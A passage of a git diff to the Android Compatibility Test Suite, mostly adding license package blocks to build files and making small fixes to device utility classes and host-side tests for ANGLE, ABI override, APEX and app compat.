 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "compatibility-device-preconditions",
 
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
index 74f549d..23bd992 100644
--- a/common/device-side/test-app/Android.bp
+++ b/common/device-side/test-app/Android.bp
@@ -15,6 +15,10 @@
 // Build an APK which contains the device-side libraries and their tests,
 // this then gets instrumented in order to test the aforementioned libraries.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CompatibilityTestApp",
 
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index ec36fe7..a9be7f3 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "compatibility-device-util-axt",
     sdk_version: "test_current",
@@ -38,3 +42,11 @@
 
     jarjar_rules: "protobuf-jarjar-rules.txt",
 }
+
+filegroup {
+    name: "compatibility-device-util-nodeps",
+    srcs: [
+         "src/com/android/compatibility/common/util/IBinderParcelable.java",
+         "src/com/android/compatibility/common/util/ImeAwareEditText.java",
+    ],
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
index 955321a..7d8feae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -83,6 +83,15 @@
     }
 
     /**
+     * Turn off the Battery saver manually.
+     */
+    public static void runDumpsysBatterySaverOff() {
+        if (isBatterySaverSupported() && getPowerManager().isPowerSaveMode()) {
+            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
+        }
+    }
+
+    /**
      * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
      * executed before enabling BS.
      */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index fb25dd7..c5933a7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,7 +16,10 @@
 
 package com.android.compatibility.common.util;
 
+import static org.junit.Assert.assertNotEquals;
+
 import android.os.Build;
+import android.os.SystemProperties;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -41,6 +44,7 @@
     private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
     private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
     private static final String TAG_DEV_KEYS = "dev-keys";
+    private static final String VENDOR_SDK_VERSION = "ro.vendor.build.version.sdk";
     private static final String VNDK_VERSION = "ro.vndk.version";
 
     public static final String GOOGLE_SETTINGS_QUERY =
@@ -75,30 +79,57 @@
     }
 
     /**
-     * Return whether the SDK version of the vendor partiton is newer than the given API level.
+     * Return whether the VNDK version of the vendor partiton is newer than the given API level.
      * If the property is set to non-integer value, this means the vendor partition is using
      * current API level and true is returned.
      */
-    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
-        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
-        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+    public static boolean isVndkApiLevelNewerThan(int apiLevel) {
+        int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vndkApiLevel == INT_VALUE_IF_UNSET) {
             return true;
         }
-        return vendorApiLevel > apiLevel;
+        return vndkApiLevel > apiLevel;
+    }
+
+    /**
+     * Return whether the VNDK version of the vendor partiton is same or newer than the
+     * given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVndkApiLevelAtLeast(int apiLevel) {
+        int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vndkApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vndkApiLevel >= apiLevel;
+    }
+
+    /**
+     * Return whether the SDK version of the vendor partiton is newer than the given API level.
+     */
+    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+        int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+        // Run previous action when failed to get ro.vendor.build.version.sdk
+        // b/166800127 for details
+        if (vendorSdkVersion == 0) {
+            return isVndkApiLevelNewerThan(apiLevel);
+        }
+        return vendorSdkVersion > apiLevel;
     }
 
     /**
      * Return whether the SDK version of the vendor partiton is same or newer than the
      * given API level.
-     * If the property is set to non-integer value, this means the vendor partition is using
-     * current API level and true is returned.
      */
     public static boolean isVendorApiLevelAtLeast(int apiLevel) {
-        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
-        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
-            return true;
+        int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+        // Run previous action when failed to get ro.vendor.build.version.sdk
+        // b/166800127 for details
+        if (vendorSdkVersion == 0) {
+            return isVndkApiLevelAtLeast(apiLevel);
         }
-        return vendorApiLevel >= apiLevel;
+        return vendorSdkVersion >= apiLevel;
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 07133d6..c2e4224 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -36,7 +36,7 @@
     }
 
     public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
-        return waitFindObject(selector, 10_000);
+        return waitFindObject(selector, 20_000);
     }
 
     public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
@@ -51,21 +51,33 @@
 
     public static UiObject2 waitFindObjectOrNull(BySelector selector)
             throws UiObjectNotFoundException {
-        return waitFindObjectOrNull(selector, 10_000);
+        return waitFindObjectOrNull(selector, 20_000);
     }
 
     public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
             throws UiObjectNotFoundException {
         UiObject2 view = null;
         long start = System.currentTimeMillis();
+
+        boolean isAtEnd = false;
+        boolean wasScrolledUpAlready = false;
         while (view == null && start + timeoutMs > System.currentTimeMillis()) {
-            view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+            view = getUiDevice().wait(Until.findObject(selector), 1000);
 
             if (view == null) {
                 UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
                 scrollable.setSwipeDeadZonePercentage(0.25);
                 if (scrollable.exists()) {
-                    scrollable.scrollForward();
+                    if (isAtEnd) {
+                        if (wasScrolledUpAlready) {
+                            return null;
+                        }
+                        scrollable.scrollToBeginning(Integer.MAX_VALUE);
+                        isAtEnd = false;
+                        wasScrolledUpAlready = true;
+                    } else {
+                        isAtEnd = !scrollable.scrollForward();
+                    }
                 }
             }
         }
diff --git a/common/device-side/util-axt/tests/Android.bp b/common/device-side/util-axt/tests/Android.bp
index 0e8dfa0..73f1b34 100644
--- a/common/device-side/util-axt/tests/Android.bp
+++ b/common/device-side/util-axt/tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
     name: "compatibility-device-util-tests-axt",
 
diff --git a/common/device-side/util/jni/Android.bp b/common/device-side/util/jni/Android.bp
index b5b0b56..45d5ff9 100644
--- a/common/device-side/util/jni/Android.bp
+++ b/common/device-side/util/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libcts_jni",
 
diff --git a/common/host-side/util-axt/Android.bp b/common/host-side/util-axt/Android.bp
index c701cff..3fcbc3e 100644
--- a/common/host-side/util-axt/Android.bp
+++ b/common/host-side/util-axt/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     // The -axt suffix stands for "Android eXTension".
     name: "compatibility-host-util-axt",
diff --git a/helpers/default/Android.bp b/helpers/default/Android.bp
index dedb1dd..fa88045 100644
--- a/helpers/default/Android.bp
+++ b/helpers/default/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "com.android.cts.helpers.aosp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/Android.bp b/hostsidetests/abioverride/Android.bp
index df1b040..c9ee8fe 100644
--- a/hostsidetests/abioverride/Android.bp
+++ b/hostsidetests/abioverride/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAbiOverrideHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/app/Android.bp b/hostsidetests/abioverride/app/Android.bp
index 7d32534..32cc870 100644
--- a/hostsidetests/abioverride/app/Android.bp
+++ b/hostsidetests/abioverride/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAbiOverrideTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/app/jni/Android.bp b/hostsidetests/abioverride/app/jni/Android.bp
index f3a3f93..2c5be2d 100644
--- a/hostsidetests/abioverride/app/jni/Android.bp
+++ b/hostsidetests/abioverride/app/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsabioverride",
     srcs: ["CtsAbiOverrideJniOnLoad.cpp"],
diff --git a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
index c2f14f0..167882e 100644
--- a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
+++ b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
@@ -85,6 +85,11 @@
      */
     public void testAbiIs32bit() throws Exception {
         ITestDevice device = getDevice();
+        //skip this test for 64bit only system
+        String prop32bit = device.getProperty("ro.product.cpu.abilist32");
+        if (prop32bit == null || prop32bit.trim().isEmpty()){
+            return;
+        }
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Start the APK and wait for it to complete.
diff --git a/hostsidetests/accounts/Android.bp b/hostsidetests/accounts/Android.bp
index 12b0747..0f79f1f 100644
--- a/hostsidetests/accounts/Android.bp
+++ b/hostsidetests/accounts/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAccountsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
index 95059f1..86ec360 100644
--- a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
+++ b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccountManagerCrossUserApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/adb/Android.mk b/hostsidetests/adb/Android.mk
index ea6eb03..bfa2b02 100644
--- a/hostsidetests/adb/Android.mk
+++ b/hostsidetests/adb/Android.mk
@@ -4,6 +4,8 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.host.adb
 LOCAL_MODULE := CtsAdbHostTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/adb/AndroidTest.xml b/hostsidetests/adb/AndroidTest.xml
index 3c429e7..b1cd198 100755
--- a/hostsidetests/adb/AndroidTest.xml
+++ b/hostsidetests/adb/AndroidTest.xml
@@ -1,8 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <configuration description="Config for the CTS adb host tests">
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MinApiLevelModuleController">
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.ShippingApiLevelModuleController">
         <option name="min-api-level" value="30" />
-        <option name="api-level-prop" value="ro.product.first_api_level" />
     </object>
 
     <option name="test-suite-tag" value="cts" />
diff --git a/hostsidetests/adbmanager/Android.bp b/hostsidetests/adbmanager/Android.bp
index 54616e5..92ae3d2 100644
--- a/hostsidetests/adbmanager/Android.bp
+++ b/hostsidetests/adbmanager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAdbManagerHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index a0faa3b..794ea69 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAngleIntegrationHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index fe33a37..ca1b23f 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "AngleIntegrationTestCommon",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index bd52d3a..e55ee7c 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAngleDriverTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 15e8e41..3291a37 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAngleDriverTestCasesSecondary",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
         return (angleSupported != null) && (angleSupported.equals("true"));
     }
 
+    static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+        String driverProp = device.getProperty("ro.hardware.egl");
+
+        return (driverProp != null) && (driverProp.equals("angle"));
+    }
+
     static void startActivity(ITestDevice device, String action) throws Exception {
         // Run the ANGLE activity so it'll clear up any 'default' settings.
         device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
     @Test
     public void testUseDefaultDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -144,6 +145,7 @@
     @Test
     public void testUseAngleDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -161,6 +163,7 @@
     @Test
     public void testUseNativeDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -178,6 +181,7 @@
     @Test
     public void testSettingsLengthMismatch() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
     @Test
     public void testUseInvalidDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -217,6 +222,7 @@
     @Test
     public void testUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -239,6 +245,7 @@
     @Test
     public void testMultipleDevOptionsAngleNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
     @Test
     public void testMultipleUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
     @Test
     public void testAngleInUseDialogBoxWithAngle() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
@@ -465,6 +474,7 @@
     @Test
     public void testAngleInUseDialogBoxWithNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
     @Test
     public void testEmptyRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_EMPTY);
 
@@ -113,6 +114,7 @@
     @Test
     public void testEnableAngleRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_ENABLE_ANGLE);
 
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index c1c9805..c2004e9 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsApexTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 5ccdaf3..6652ef02 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -36,16 +36,17 @@
 
   private boolean isGSI() throws Exception {
     String systemProduct = getDevice().getProperty("ro.product.system_ext.name");
-    return systemProduct.equals("aosp_arm")
-      || systemProduct.equals("aosp_arm64")
-      || systemProduct.equals("aosp_x86")
-      || systemProduct.equals("aosp_x86_64")
-      || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
-      || systemProduct.equals("aosp_arm64_ab")
-      || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab")
-      || systemProduct.equals("aosp_tv_arm")
-      || systemProduct.equals("aosp_tv_arm64");
+    return (null != systemProduct)
+        && (systemProduct.equals("aosp_arm")
+            || systemProduct.equals("aosp_arm64")
+            || systemProduct.equals("aosp_x86")
+            || systemProduct.equals("aosp_x86_64")
+            || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
+            || systemProduct.equals("aosp_arm64_ab")
+            || systemProduct.equals("aosp_x86_ab")
+            || systemProduct.equals("aosp_x86_64_ab")
+            || systemProduct.equals("aosp_tv_arm")
+            || systemProduct.equals("aosp_tv_arm64"));
   }
 
   /**
diff --git a/hostsidetests/appbinding/app/Android.bp b/hostsidetests/appbinding/app/Android.bp
index fbb4b63..eeb1457 100644
--- a/hostsidetests/appbinding/app/Android.bp
+++ b/hostsidetests/appbinding/app/Android.bp
@@ -25,6 +25,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "cts_hostside_appbinding_defaults",
     libs: ["android.test.base"],
diff --git a/hostsidetests/appbinding/hostside/Android.bp b/hostsidetests/appbinding/hostside/Android.bp
index cb7ebbd..91dfba4 100644
--- a/hostsidetests/appbinding/hostside/Android.bp
+++ b/hostsidetests/appbinding/hostside/Android.bp
@@ -11,6 +11,10 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAppBindingHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index e0c389e..70d70ba 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAppCompatHostTestCases",
     defaults: ["cts_defaults"],
@@ -21,7 +25,9 @@
         "tradefed",
         "guava",
     ],
-    static_libs:["CompatChangeGatingTestBase"],
+    static_libs:[
+        "CompatChangeGatingTestBase",
+    ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
@@ -34,6 +40,3 @@
     name: "cts-global-compat-config",
     filename: "cts_all_compat_config.xml",
 }
-
-
-
diff --git a/hostsidetests/appcompat/compatchanges/app/Android.bp b/hostsidetests/appcompat/compatchanges/app/Android.bp
index be40b28..9dde881 100644
--- a/hostsidetests/appcompat/compatchanges/app/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/app/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideCompatChangeTestsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
index 28b33d2..21b7e93 100644
--- a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
+++ b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appcompat">
+        package="com.android.cts.appcompat.compatchanges">
     <!-- targetSdkVersion for this test must be below 1234 -->
     <uses-sdk android:targetSdkVersion="29"/>
     <application
@@ -25,6 +25,6 @@
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appcompat" />
+        android:targetPackage="com.android.cts.appcompat.compatchanges" />
 
 </manifest>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
deleted file mode 100644
index 7025a96..0000000
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.appcompat;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.Manifest;
-import android.app.compat.CompatChanges;
-import android.content.Context;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/**
- * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
- *
- * These test methods have additional setup and post run checks done host side by
- * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
- *
- * The setup adds an override for the change id being tested, and the post run step checks if
- * that change id has been logged to statsd.
- */
-@RunWith(AndroidJUnit4.class)
-public final class CompatChangesTest {
-  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
-  @Before
-  public void setUp() {
-    InstrumentationRegistry.getInstrumentation().getUiAutomation()
-      .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
-                                    Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
-  }
-
-  @After
-  public void tearDown() {
-    InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
-  @Test
-  public void isChangeEnabled_changeEnabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
-  @Test
-  public void isChangeEnabledPackageName_changeEnabled() {
-    Context context = InstrumentationRegistry.getTargetContext();
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
-            context.getUser())).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
-  @Test
-  public void isChangeEnabledUid_changeEnabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
-  @Test
-  public void isChangeEnabled_changeDisabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
-  @Test
-  public void isChangeEnabledPackageName_changeDisabled() {
-    Context context = InstrumentationRegistry.getTargetContext();
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
-            context.getUser())).isFalse();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
-  @Test
-  public void isChangeEnabledUid_changeDisabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
-  }
-}
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
